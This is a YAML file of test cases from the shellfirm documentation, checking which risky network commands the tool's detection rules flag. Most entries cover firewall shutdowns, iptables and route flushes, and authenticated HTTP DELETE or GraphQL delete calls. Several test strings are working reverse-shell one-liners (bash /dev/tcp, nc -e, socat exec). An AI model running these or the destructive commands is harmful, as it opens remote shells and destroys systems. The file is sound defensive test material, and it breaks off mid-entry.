shellfirm 0.4.2

`shellfirm` will intercept any risky patterns (default or defined by you) and prompt you a small challenge for double verification, kinda like a captcha for your terminal.
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
---
# -- network:bring_down_interface --
- test: "ifconfig eth0 down"
  description: "match command with ifconfig"
  expect_ids: ["network:bring_down_interface"]
- test: "sudo ifconfig eth0 down"
  description: "match command with sudo and ifconfig"
  expect_ids: ["network:bring_down_interface"]
- test: "ifconfig ens33 down"
  description: "match command with modern interface name"
  expect_ids: ["network:bring_down_interface"]
- test: "ifconfig enp0s3 down"
  description: "match command with predictable interface name"
  expect_ids: ["network:bring_down_interface"]
- test: "ifconfig wlan0 down"
  description: "match command with wireless interface"
  expect_ids: ["network:bring_down_interface"]
- test: "ip link set eth0 down"
  description: "match command with ip link"
  expect_ids: ["network:bring_down_interface_ip"]
- test: "sudo ip link set eth0 down"
  description: "match command with sudo and ip link"
  expect_ids: ["network:bring_down_interface_ip"]
- test: "ip link set ens33 down"
  description: "match command with ip link and modern interface name"
  expect_ids: ["network:bring_down_interface_ip"]
- test: "ifconfig eth0 up"
  description: "should not match up command"
  expect_ids: []
- test: "ip link set eth0 up"
  description: "should not match up command with ip link"
  expect_ids: []

# -- network:bring_down_interface_ip --
- test: "ip link set eth0 down"
  description: "match command with ip link"
  expect_ids: ["network:bring_down_interface_ip"]
- test: "sudo ip link set eth0 down"
  description: "match command with sudo and ip link"
  expect_ids: ["network:bring_down_interface_ip"]
- test: "ip link set ens33 down"
  description: "match command with modern interface name"
  expect_ids: ["network:bring_down_interface_ip"]
- test: "ip link set enp0s3 down"
  description: "match command with predictable interface name"
  expect_ids: ["network:bring_down_interface_ip"]
- test: "ip link set eth0 up"
  description: "should not match up command"
  expect_ids: []
- test: "ip link show eth0"
  description: "should not match show command"
  expect_ids: []

# -- network:delete_custom_chains --
- test: "iptables -X"
  description: "match command"
  expect_ids: ["network:delete_custom_chains"]
- test: "sudo iptables -X"
  description: "match command with sudo"
  expect_ids: ["network:delete_custom_chains"]
- test: "iptables -X CUSTOM_CHAIN"
  description: "should not match specific chain"
  expect_ids: ["network:delete_custom_chains"]
- test: "iptables -L"
  description: "should not match list command"
  expect_ids: []

# -- network:delete_default_route --
- test: "route del default"
  description: "match command"
  expect_ids: ["network:delete_default_route"]
- test: "sudo route del default"
  description: "match command with sudo"
  expect_ids: ["network:delete_default_route"]
- test: "route add default"
  description: "should not match add command"
  expect_ids: []
- test: "route show"
  description: "should not match show command"
  expect_ids: []

# -- network:disable_firewall --
- test: "ufw disable"
  description: "match command"
  expect_ids: ["network:disable_firewall"]
- test: "sudo ufw disable"
  description: "match command with sudo"
  expect_ids: ["network:disable_firewall"]
- test: "ufw enable"
  description: "should not match enable command"
  expect_ids: []
- test: "ufw status"
  description: "should not match status command"
  expect_ids: []

# -- network:flush_iptables --
- test: "iptables -F"
  description: "match command"
  expect_ids: ["network:flush_iptables"]
- test: "sudo iptables -F"
  description: "match command with sudo"
  expect_ids: ["network:flush_iptables"]
- test: "iptables -F INPUT"
  description: "should not match specific chain"
  expect_ids: ["network:flush_iptables"]
- test: "iptables -L"
  description: "should not match list command"
  expect_ids: []

# -- network:flush_nat_rules --
- test: "iptables -t nat -F"
  description: "match command"
  expect_ids: ["network:flush_nat_rules"]
- test: "sudo iptables -t nat -F"
  description: "match command with sudo"
  expect_ids: ["network:flush_nat_rules"]
- test: "iptables -t nat -F PREROUTING"
  description: "should not match specific chain"
  expect_ids: ["network:flush_nat_rules"]
- test: "iptables -t nat -L"
  description: "should not match list command"
  expect_ids: []

# -- network:force_reset_firewall --
- test: "ufw --force reset"
  description: "match command"
  expect_ids: ["network:force_reset_firewall"]
- test: "sudo ufw --force reset"
  description: "match command with sudo"
  expect_ids: ["network:force_reset_firewall"]
- test: "ufw status"
  description: "status changes nothing"
  expect_ids: []
- test: "ufw status"
  description: "should not match status command"
  expect_ids: []

# -- network:stop_network_manager --
- test: "systemctl stop NetworkManager"
  description: "match command"
  expect_ids: ["network:stop_network_manager"]
- test: "sudo systemctl stop NetworkManager"
  description: "match command with sudo"
  expect_ids: ["network:stop_network_manager"]
- test: "systemctl status NetworkManager"
  description: "should not match status command"
  expect_ids: []
- test: "systemctl restart NetworkManager"
  description: "should not match restart command"
  expect_ids: []

# -- network:stop_networking --
- test: "systemctl stop networking"
  description: "match command"
  expect_ids: ["network:stop_networking"]
- test: "sudo systemctl stop networking"
  description: "match command with sudo"
  expect_ids: ["network:stop_networking"]
- test: "systemctl status networking"
  description: "should not match status command"
  expect_ids: []
- test: "systemctl restart networking"
  description: "should not match restart command"
  expect_ids: []

# -- network:force_reset_firewall — flag ordering --
- test: "ufw reset --force"
  description: "--force after reset"
  expect_ids: ["network:force_reset_firewall"]

# -- network:flush_nftables --
- test: "nft flush ruleset"
  description: "match nft flush ruleset"
  expect_ids: ["network:flush_nftables"]
- test: "sudo nft flush ruleset"
  description: "match nft flush ruleset with sudo"
  expect_ids: ["network:flush_nftables"]
- test: "nft  flush  ruleset"
  description: "match nft flush ruleset with extra spaces"
  expect_ids: ["network:flush_nftables"]
- test: "nft list ruleset"
  description: "negative: nft list should not match"
  expect_ids: []
- test: "nft flush chain filter input"
  description: "negative: flushing specific chain should not match"
  expect_ids: []

# -- network:flush_routes --
- test: "ip route flush table main"
  description: "match flush routing table"
  expect_ids: ["network:flush_routes"]
- test: "sudo ip route flush table main"
  description: "match flush routing table with sudo"
  expect_ids: ["network:flush_routes"]
- test: "ip  route  flush  table main"
  description: "match flush routing table with extra spaces"
  expect_ids: ["network:flush_routes"]
- test: "ip route flush cache"
  description: "match flush route cache"
  expect_ids: ["network:flush_routes"]
- test: "ip route show"
  description: "negative: ip route show should not match"
  expect_ids: []
- test: "ip route add default via 192.168.1.1"
  description: "negative: ip route add should not match"
  expect_ids: []

# ====== EDGE CASE / STRESS TESTS ======

# -- network:bring_down_interface_ip edge cases --
- test: "ip link set br-abc123 down"
  description: "match hyphenated interface name"
  expect_ids: ["network:bring_down_interface_ip"]
- test: "ip link set docker0 down"
  description: "EDGE: docker bridge interface"
  expect_ids: ["network:bring_down_interface_ip"]

# -- network:disable_firewall edge cases --
- test: "ufw disabled"
  description: "negative: 'ufw disabled' should not match - requires word boundary after disable"
  expect_ids: []

# -- network:flush_iptables edge cases --
- test: "ip6tables -F"
  description: "match ip6tables flush rules"
  expect_ids: ["network:flush_iptables"]
# -- network:iptables_default_drop --
- test: 'iptables -P INPUT DROP'
  description: "default DROP on INPUT"
  expect_ids: ["network:iptables_default_drop"]
- test: 'ip6tables --policy OUTPUT DROP'
  description: "ip6tables default DROP"
  expect_ids: ["network:iptables_default_drop"]
- test: 'iptables -P INPUT ACCEPT'
  description: "negative: ACCEPT policy"
  expect_ids: []
# -- option order --
- test: "iptables --flush"
  description: "long --flush"
  expect_ids: ["network:flush_iptables"]
- test: "iptables -w -F"
  description: "-F after another option"
  expect_ids: ["network:flush_iptables"]
- test: "iptables -t filter -F"
  description: "the filter table"
  expect_ids: ["network:flush_iptables"]
- test: "iptables -t nat --flush"
  description: "the nat table is flush_nat_rules"
  expect_ids: ["network:flush_nat_rules"]
- test: "iptables -w --delete-chain"
  description: "long --delete-chain"
  expect_ids: ["network:delete_custom_chains"]
- test: "ufw reset"
  description: "ufw reset without --force"
  expect_ids: ["network:force_reset_firewall"]
- test: "iptables -L -n"
  description: "listing rules is fine"
  expect_ids: []
- test: "sudo ip addr flush dev eth0"
  description: "removing the interface addresses"
  expect_ids: ["network:flush_addresses"]
- test: "ip addr show"
  description: "negative: listing addresses"
  expect_ids: []
- test: "sudo ufw default deny incoming"
  description: "deny incoming by default"
  expect_ids: ["network:ufw_default_deny"]
- test: "sudo ufw allow OpenSSH"
  description: "negative: allowing ssh"
  expect_ids: []
- test: "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1"
  description: "a bash reverse shell"
  expect_ids: ["network:reverse_shell"]
- test: "nc -e /bin/sh 1.2.3.4 4444"
  description: "netcat with -e"
  expect_ids: ["network:reverse_shell"]
- test: "socat tcp:1.2.3.4:4444 exec:/bin/sh"
  description: "socat exec"
  expect_ids: ["network:reverse_shell"]
- test: "timeout 1 bash -c '</dev/tcp/db/5432'"
  description: "negative: a /dev/tcp port probe"
  expect_ids: []
- test: "nc -zv db 5432"
  description: "negative: a port scan of one port"
  expect_ids: []
# -- Windows firewall off --
- test: "netsh advfirewall set allprofiles state off"
  description: "turn the Windows firewall off (all profiles)"
  expect_ids: ["network:disable_firewall_windows"]
- test: "netsh advfirewall set currentprofile state off"
  description: "turn the current-profile firewall off"
  expect_ids: ["network:disable_firewall_windows"]
- test: "netsh firewall set opmode disable"
  description: "legacy netsh firewall off"
  expect_ids: ["network:disable_firewall_windows"]
- test: "Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False"
  description: "Set-NetFirewallProfile disabled"
  expect_ids: ["network:disable_firewall_windows"]
- test: "netsh advfirewall show allprofiles"
  description: "negative: showing firewall profiles"
  expect_ids: []
# -- a catch-all DROP appended to INPUT (SSH lockout) --
- test: "iptables -A INPUT -j DROP"
  description: "blanket DROP appended to INPUT"
  expect_ids: ["network:iptables_drop_all_input"]
- test: "iptables -I INPUT -j REJECT"
  description: "blanket REJECT inserted on INPUT"
  expect_ids: ["network:iptables_drop_all_input"]
- test: "iptables -A INPUT -s 10.0.0.5 -j DROP"
  description: "negative: a host-specific DROP is not a blanket lockout"
  expect_ids: []

# -- network:http_delete_authenticated --
- test: "xh --bearer $API_TOKEN DELETE https://api.example.com/items/1"
  description: "xh DELETE with --bearer"
  expect_ids: ["network:http_delete_authenticated"]
- test: "http --bearer $API_TOKEN GET https://api.example.com/items/1"
  description: "negative: a GET with --bearer"
  expect_ids: []
- test: "xh --bearer tok DELETE :8080/items/1"
  description: "negative: a local development server"
  expect_ids: []
- test: "curl -X DELETE https://api.vercel.com/v9/projects/web -H \"Authorization: Bearer $VERCEL_TOKEN\""
  description: "DELETE with a bearer token"
  expect_ids: ["network:http_delete_authenticated"]
- test: "curl -X DELETE -H \"Authorization: token $T\" https://api.github.com/repos/acme/web"
  description: "header before the URL"
  expect_ids: ["network:http_delete_authenticated"]
- test: "curl --request DELETE https://api.cloudflare.com/client/v4/zones/z/dns_records/r -H \"X-Auth-Key: $K\""
  description: "--request with an API key header"
  expect_ids: ["network:http_delete_authenticated"]
- test: "curl -sSX DELETE https://api.example.com/v1/items/1 -u admin:$PW"
  description: "basic auth and a flag cluster"
  expect_ids: ["network:http_delete_authenticated"]
- test: "http DELETE https://api.example.com/items/1 \"Authorization:Bearer $T\""
  description: "httpie with an auth header item"
  expect_ids: ["network:http_delete_authenticated"]
- test: "xh delete https://api.example.com/items/1 -a user:pw"
  description: "xh with -a"
  expect_ids: ["network:http_delete_authenticated"]
- test: "wget --method=DELETE --header=\"Authorization: Bearer $T\" https://api.example.com/items/1"
  description: "wget with an auth header"
  expect_ids: ["network:http_delete_authenticated"]

# -- network:http_delete --
- test: "curl --request=DELETE https://api.example.com/v1/items/1"
  description: "--request=DELETE"
  expect_ids: ["network:http_delete"]
- test: "curl -XDELETE https://es.example.com/logs-2024"
  description: "glued -XDELETE"
  expect_ids: ["network:http_delete"]
- test: "http DELETE api.example.com/items/1"
  description: "httpie without auth"
  expect_ids: ["network:http_delete"]
- test: "wget --method=DELETE https://api.example.com/items/1"
  description: "wget --method"
  expect_ids: ["network:http_delete"]
- test: "curl -X GET https://api.example.com/items -H \"Authorization: Bearer $TOKEN\""
  description: "negative: GET with a token"
  expect_ids: []
- test: "curl https://example.com"
  description: "negative: plain GET"
  expect_ids: []
- test: "curl -X POST https://api.example.com/items -H \"Content-Type: application/json\" -d '{\"name\":\"x\"}'"
  description: "negative: POST"
  expect_ids: []
- test: "curl -X PATCH https://api.example.com/items/1 -d '{\"deleted\":false}'"
  description: "negative: PATCH with a deleted field"
  expect_ids: []
- test: "curl -X DELETE http://localhost:3000/api/todos/1"
  description: "negative: a local development server"
  expect_ids: []
- test: "curl -X DELETE http://127.0.0.1:8080/items/2"
  description: "negative: loopback address"
  expect_ids: []
- test: "curl https://api.example.com/items/DELETE"
  description: "negative: DELETE in the URL path"
  expect_ids: []
- test: "curl -H \"X-Request-Method: DELETE\" https://api.example.com/items"
  description: "negative: DELETE in a header value"
  expect_ids: []
- test: "http POST https://api.example.com/items name=delete-me"
  description: "negative: httpie POST with a delete-like value"
  expect_ids: []
- test: "grep -rn \"DELETE\" src"
  description: "negative: searching code for DELETE"
  expect_ids: []
- test: "echo \"curl -X DELETE\" >> notes.md"
  description: "negative: echo into notes"
  expect_ids: []
- test: "cat <<'EOF' > api.md\nUse curl -X DELETE https://api.example.com/items/1 to delete an item.\nEOF"
  description: "negative: a heredoc mentioning DELETE"
  expect_ids: ["fs:flush_file_content"]
- test: "git commit -m \"fix: handle DELETE requests in api client\""
  description: "negative: commit message"
  expect_ids: []

# -- network:graphql_destructive_mutation --
- test: "curl -X POST https://api.example.com/graphql -H \"Authorization: Bearer $API_TOKEN\" -H \"Content-Type: application/json\" -d '{\"query\":\"mutation { volumeDelete(volumeId: \\\"vol_8f2c\\\") }\"}'"
  description: "volumeDelete mutation"
  expect_ids: ["network:graphql_destructive_mutation"]
- test: "curl -X POST https://api.github.com/graphql -H \"Authorization: bearer $GH_TOKEN\" -d '{\"query\":\"mutation { deleteRepository(input:{repositoryId:\\\"x\\\"}) { clientMutationId } }\"}'"
  description: "deleteRepository mutation"
  expect_ids: ["network:graphql_destructive_mutation"]
- test: "gh api graphql -f query='mutation { deleteProjectV2(input:{projectId:\"x\"}) { clientMutationId } }'"
  description: "through gh api graphql"
  expect_ids: ["network:graphql_destructive_mutation"]
- test: "curl https://api.linear.app/graphql -H \"Authorization: $LINEAR_KEY\" -d '{\"query\":\"mutation { issueDelete(id: \\\"x\\\") { success } }\"}'"
  description: "issueDelete"
  expect_ids: ["network:graphql_destructive_mutation"]
- test: "curl -X POST -d '{\"query\":\"query { viewer { login } }\"}' https://api.github.com/graphql -H \"Authorization: bearer $T\""
  description: "negative: a query"
  expect_ids: []
- test: "curl -s https://api.github.com/graphql -H \"Authorization: bearer $T\" -d '{\"query\":\"query { repository(owner:\\\"a\\\", name:\\\"b\\\") { deleteBranchOnMerge } }\"}'"
  description: "negative: a field named like delete in a query"
  expect_ids: []
- test: "curl -X POST https://api.github.com/graphql -H \"Authorization: bearer $T\" -d '{\"query\":\"mutation { addStar(input:{starrableId:\\\"x\\\"}) { clientMutationId } }\"}'"
  description: "negative: a harmless mutation"
  expect_ids: []
- test: "curl -X POST https://api.github.com/graphql -d '{\"query\":\"mutation { updateIssue(input:{id:\\\"x\\\", title:\\\"drop support for node 14\\\"}) { issue { id } } }\"}'"
  description: "negative: drop in a string value"
  expect_ids: []
- test: "curl -X POST https://api.example.com/graphql -d '{\"query\":\"mutation { updateUser(input:{id:1}) { user { removedAt } } }\"}'"
  description: "negative: removed-at field in the selection"
  expect_ids: []
- test: "gh api graphql -f query='query { viewer { login } }'"
  description: "negative: gh api query"
  expect_ids: []
- test: "rg \"volumeDelete\" -n"
  description: "negative: searching code"
  expect_ids: []
- test: "git commit -F - <<'EOF'\nfeat: support volumeDelete mutation\n\nmutation { volumeDelete(id: 1) }\nEOF"
  description: "negative: commit message heredoc"
  expect_ids: []

# -- network:stop_firewall --
- test: "sudo systemctl stop firewalld"
  description: "stopping firewalld"
  expect_ids: ["network:stop_firewall"]
- test: "systemctl stop ufw.service"
  description: "stopping ufw.service"
  expect_ids: ["network:stop_firewall"]
- test: "sudo service ufw stop"
  description: "SysV service stop"
  expect_ids: ["network:stop_firewall"]
- test: "sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setglobalstate off"
  description: "macOS application firewall off"
  expect_ids: ["network:stop_firewall"]
- test: "sudo launchctl unload /System/Library/LaunchDaemons/com.apple.alf.agent.plist"
  description: "unloading the macOS firewall daemon"
  expect_ids: ["network:stop_firewall"]
- test: "sudo pfctl -d"
  description: "macOS packet filter off"
  expect_ids: ["network:stop_firewall"]
- test: "systemctl disable ufw"
  description: "disabling ufw"
  expect_ids: ["network:stop_firewall", "systemd:disable_service"]
- test: "systemctl status nginx"
  description: "negative: status"
  expect_ids: []
- test: "systemctl restart nginx"
  description: "negative: restart"
  expect_ids: []
- test: "sudo systemctl start firewalld"
  description: "negative: starting firewalld"
  expect_ids: []
- test: "sudo ufw status"
  description: "negative: ufw status"
  expect_ids: []
- test: "systemctl is-active firewalld"
  description: "negative: is-active"
  expect_ids: []
- test: "/usr/libexec/ApplicationFirewall/socketfilterfw --getglobalstate"
  description: "negative: reading the firewall state"
  expect_ids: []
- test: "pfctl -s rules"
  description: "negative: listing pf rules"
  expect_ids: []

# -- network:graphql_destructive_mutation (field names, not text) --
- test: "gh api graphql -f query='mutation { deleteRepository(input:{repositoryId:\"R_1\"}) { clientMutationId } }'"
  description: "delete-first field name"
  expect_ids: ["network:graphql_destructive_mutation"]
- test: "curl -s https://backboard.railway.app/graphql/v2 -H \"Authorization: Bearer $T\" -d '{\"query\":\"mutation { volumeDelete(volumeId: \\\"v1\\\") }\"}'"
  description: "resource-first field name"
  expect_ids: ["network:graphql_destructive_mutation"]
- test: "curl -s https://backboard.railway.app/graphql/v2 -d '{\"query\":\"mutation($id: String!) {\\n  x: serviceDelete(id: $id) }\"}'"
  description: "variables, an alias and an escaped newline"
  expect_ids: ["network:graphql_destructive_mutation"]
- test: "curl -s https://hasura.example.com/v1/graphql -d '{\"query\":\"mutation { delete_users(where: {}) { affected_rows } }\"}'"
  description: "snake_case delete field"
  expect_ids: ["network:graphql_destructive_mutation"]
- test: "gh api graphql -f query='mutation { removeOutsideCollaborator(input:{}) { clientMutationId } }'"
  description: "member removal"
  expect_ids: ["network:graphql_destructive_mutation"]
- test: "gh api graphql -f query='mutation { removeLabelsFromLabelable(input:{labelableId:\"I_1\", labelIds:[\"L_1\"]}) { clientMutationId } }'"
  description: "negative: removing a label"
  expect_ids: []
- test: "gh api graphql -f query='mutation { removeReaction(input:{subjectId:\"I_1\", content:THUMBS_UP}) { clientMutationId } }'"
  description: "negative: removing a reaction"
  expect_ids: []
- test: "gh api graphql -f query='mutation { removeAssigneesFromAssignable(input:{assignableId:\"I_1\", assigneeIds:[\"U_1\"]}) { clientMutationId } }'"
  description: "negative: removing an assignee"
  expect_ids: []
- test: "gh api graphql -f query='mutation { removeStar(input:{starrableId:\"R_1\"}) { clientMutationId } }'"
  description: "negative: removing a star"
  expect_ids: []
- test: "gh api graphql -f query='mutation { removeUpvote(input:{subjectId:\"D_1\"}) { clientMutationId } }'"
  description: "negative: removing an upvote"
  expect_ids: []
- test: "gh api graphql -f query='mutation { addStar(input:{starrableId:\"R\"}) { clientMutationId } deleteRepository(input:{repositoryId:\"R_1\"}) { clientMutationId } }'"
  description: "a delete field after a harmless one"
  expect_ids: ["network:graphql_destructive_mutation"]
- test: "gh api graphql -f query='mutation { a: addStar(input:{starrableId:\"R\"}) { clientMutationId } b: deleteRepository(input:{repositoryId:\"R_1\"}) { clientMutationId } }'"
  description: "an aliased delete field after a harmless one"
  expect_ids: ["network:graphql_destructive_mutation"]
- test: "curl -s https://backboard.railway.app/graphql/v2 -H \"Authorization: Bearer $T\" -d '{\"query\":\"mutation { me { id } volumeDelete(volumeId: \\\"v1\\\") }\"}'"
  description: "a delete field after a field with a selection set"
  expect_ids: ["network:graphql_destructive_mutation"]
- test: "gh api graphql -f query='mutation { updateIssue(input:{id:\"I_1\"}) { issue { author { login } } } closeIssue(input:{issueId:\"I_1\"}) { clientMutationId } projectV2Delete: deleteProjectV2(input:{projectId:\"P\"}) { clientMutationId } }'"
  description: "a delete field third, after nested selection sets"
  expect_ids: ["network:graphql_destructive_mutation"]
- test: "gh api graphql -f query='mutation { archiveRepository(input:{repositoryId:\"R_1\"}) { clientMutationId } }'"
  description: "archiving a repository"
  expect_ids: ["network:graphql_destructive_mutation"]
- test: "gh api graphql -f query='mutation { addStar(input:{starrableId:\"R\"}) { clientMutationId } addComment(input:{subjectId:\"I_1\", body:\"please delete (x) and drop the table\"}) { clientMutationId } }'"
  description: "negative: delete words inside a later field's string argument"
  expect_ids: []
- test: "gh api graphql -f query='mutation { addStar(input:{starrableId:\"R\"}) { clientMutationId } removeStar(input:{starrableId:\"S\"}) { clientMutationId } }'"
  description: "negative: two harmless fields"
  expect_ids: []
- test: "gh api graphql -f query='mutation { updateUser(input:{id:1}) { user { deletedAt removedAt } } }'"
  description: "negative: delete-like names nested in a selection set"
  expect_ids: []
- test: "curl -s -X POST https://api.linear.app/graphql -H \"Authorization: $LINEAR_API_KEY\" -d '{\"query\":\"mutation { issueRemoveLabel(id: \\\"ABC-1\\\", labelId: \\\"l1\\\") { success } }\"}'"
  description: "negative: removing a label from an issue"
  expect_ids: []
- test: "gh api graphql -f query='mutation { createIssue(input:{repositoryId:\"R_1\", title:\"Remove (legacy) login flag\"}) { issue { number } } }'"
  description: "negative: the words are in an issue title"
  expect_ids: []
- test: "gh api graphql -f query='mutation { addComment(input:{subjectId:\"I_1\", body:\"we should delete (or archive) the old branch\"}) { clientMutationId } }'"
  description: "negative: the words are in a comment body"
  expect_ids: []
- test: "gh api graphql -f query='mutation { updateIssue(input:{id:\"I_1\", body:\"Steps: drop (temp) table, rerun\"}) { issue { id } } }'"
  description: "negative: the words are in an issue body"
  expect_ids: []
- test: "curl -s -X POST https://hooks.slack.com/services/T0/B0/X -d '{\"text\":\"Released v2: the mutation deleteUser() now soft-deletes\"}'"
  description: "negative: a chat message that mentions a mutation"
  expect_ids: []
- test: "curl -s https://api.example.com/v1/changelog -d 'mutation=removeFoo()'"
  description: "negative: not a GraphQL document"
  expect_ids: []
- test: "gh issue create --label api --title \"Docs\" --body \"the mutation deleteRepository(input) is missing from docs\""
  description: "negative: an issue body, not gh api graphql"
  expect_ids: []
- test: "gh api repos/acme/webapp/issues -f title=\"GraphQL: mutation removeMember (bug)\" -f body=\"x\""
  description: "negative: a REST call whose title mentions a mutation"
  expect_ids: []
- test: "curl -X POST http://localhost:4000/graphql -d '{\"query\":\"mutation { deleteTodo(id: 1) { id } }\"}'"
  description: "negative: a local development server"
  expect_ids: []
- test: "http POST :4000/graphql query='mutation { deleteTodo(id: 1) { id } }'"
  description: "negative: the httpie localhost shorthand"
  expect_ids: []
- test: "gh api graphql -f query='mutation { addComment(input:{subjectId:\"I\", body:\"done :)\"}) { clientMutationId } deleteRepository(input:{repositoryId:\"R_1\"}) { clientMutationId } }'"
  description: "a ) in an earlier field's string does not hide the delete"
  expect_ids: ["network:graphql_destructive_mutation"]
- test: "gh api graphql -f query='mutation { addComment(input:{subjectId:\"I\", body:\"(see above\"}) { clientMutationId } deleteRepository(input:{repositoryId:\"R_1\"}) { clientMutationId } }'"
  description: "a ( in an earlier field's string does not hide the delete"
  expect_ids: ["network:graphql_destructive_mutation"]
- test: "gh api graphql -f query='mutation { updateIssue(input:{id:\"I\", title:\"fix )\"}) { clientMutationId } deleteRepository(input:{repositoryId:\"R_1\"}) { clientMutationId } }'"
  description: "a ) in a title does not hide the delete"
  expect_ids: ["network:graphql_destructive_mutation"]
- test: "curl -s https://api.example.com/graphql -d '{\"query\":\"mutation { updateUser(id: 1, name: \\\"x)\\\") { id } delete_users(where: {}) { affected_rows } }\"}'"
  description: "a ) in a JSON-escaped string does not hide the delete"
  expect_ids: ["network:graphql_destructive_mutation"]
- test: "curl -s https://backboard.railway.app/graphql/v2 -H \"Authorization: Bearer $T\" -d '{\"query\":\"mutation { variableUpsert(input: {name: \\\"A)\\\", value: \\\"1\\\"}) volumeDelete(volumeId: \\\"v1\\\") }\"}'"
  description: "a ) in a JSON-escaped argument does not hide a later volumeDelete"
  expect_ids: ["network:graphql_destructive_mutation"]
- test: "gh api graphql -f query='mutation { updateIssue(input:{id:\"I\", title:\"unclosed }) { clientMutationId } deleteRepository(input:{repositoryId:\"R_1\"}) { clientMutationId } }'"
  description: "an unclosed string: every name counts (fail closed)"
  expect_ids: ["network:graphql_destructive_mutation"]
- test: "gh api graphql -f query='mutation { createIssue(input:{repositoryId:\"R\", title:\"x\", body:\"mutation { deleteRepository }\"}) { issue { url } } }'"
  description: "negative: a mutation written inside a string argument"
  expect_ids: []
- test: "gh api graphql -f query='mutation { addComment(input:{subjectId:\"I\", body:\"try: mutation { deleteRepository(input:{}) }\"}) { clientMutationId } }'"
  description: "negative: a mutation quoted in a comment body"
  expect_ids: []
- test: "gh api graphql -f query='mutation { addComment(input:{subjectId:\"I\", body:\"done :)\"}) { clientMutationId } }'"
  description: "negative: a smiley in a comment body"
  expect_ids: []

# -- network:http_delete / http_delete_authenticated (local servers, httpie options) --
- test: "curl -X DELETE http://localhost:3000/api/todos/1 -H \"Authorization: Bearer devtoken\""
  description: "negative: an authenticated DELETE to localhost"
  expect_ids: []
- test: "curl -X DELETE http://localhost:3000/api/todos/1 -H \"Cookie: session=abc\""
  description: "negative: a DELETE with a cookie to localhost"
  expect_ids: []
- test: "http DELETE :3000/api/todos/1"
  description: "negative: the httpie localhost shorthand"
  expect_ids: []
- test: "xh delete :8080/api/todos/1"
  description: "negative: the xh localhost shorthand"
  expect_ids: []
- test: "curl -X DELETE http://app.localhost:3000/api/todos/1"
  description: "negative: a *.localhost host"
  expect_ids: []
- test: "curl -X DELETE http://host.docker.internal:3000/api/todos/1"
  description: "negative: the Docker host"
  expect_ids: []
- test: "curl -X DELETE http://127.0.0.1:8000/items/3"
  description: "negative: the loopback address"
  expect_ids: []
- test: "curl -X DELETE http://localhost:9200/_all"
  description: "every local Elasticsearch index"
  expect_ids: ["network:http_delete"]
- test: "curl -X DELETE 'http://localhost:9200/logs-*'"
  description: "a local index wildcard"
  expect_ids: ["network:http_delete"]
- test: "curl -X DELETE http://localhost@evil.example/x"
  description: "a userinfo that only looks local"
  expect_ids: ["network:http_delete"]
- test: "curl -X DELETE http://web:3000/api/todos/1"
  description: "a compose service name is not exempt"
  expect_ids: ["network:http_delete"]
- test: "http -a admin:pw DELETE https://api.example.com/v1/x"
  description: "httpie auth before the method"
  expect_ids: ["network:http_delete_authenticated"]
- test: "http --auth admin:pw DELETE https://api.example.com/v1/x"
  description: "httpie --auth before the method"
  expect_ids: ["network:http_delete_authenticated"]
- test: "http -A bearer -a tok DELETE https://api.example.com/v1/x"
  description: "httpie auth type and auth before the method"
  expect_ids: ["network:http_delete_authenticated"]
- test: "xh -a u:p DELETE https://api.example.com/v1/x"
  description: "xh auth before the method"
  expect_ids: ["network:http_delete_authenticated"]
- test: "http -a u:p GET https://api.example.com/v1/x"
  description: "negative: an authenticated GET"
  expect_ids: []

# -- network:disable_firewall / stop_firewall (option spellings) --
- test: "ufw --force disable"
  description: "ufw disable without a prompt"
  expect_ids: ["network:disable_firewall"]
- test: "sudo ufw --force disable"
  description: "ufw --force disable with sudo"
  expect_ids: ["network:disable_firewall"]
- test: "ufw status"
  description: "negative: ufw status"
  expect_ids: []
- test: "/usr/libexec/ApplicationFirewall/socketfilterfw --setglobalstate=off"
  description: "socketfilterfw with =off"
  expect_ids: ["network:stop_firewall"]
- test: "/usr/libexec/ApplicationFirewall/socketfilterfw --getglobalstate"
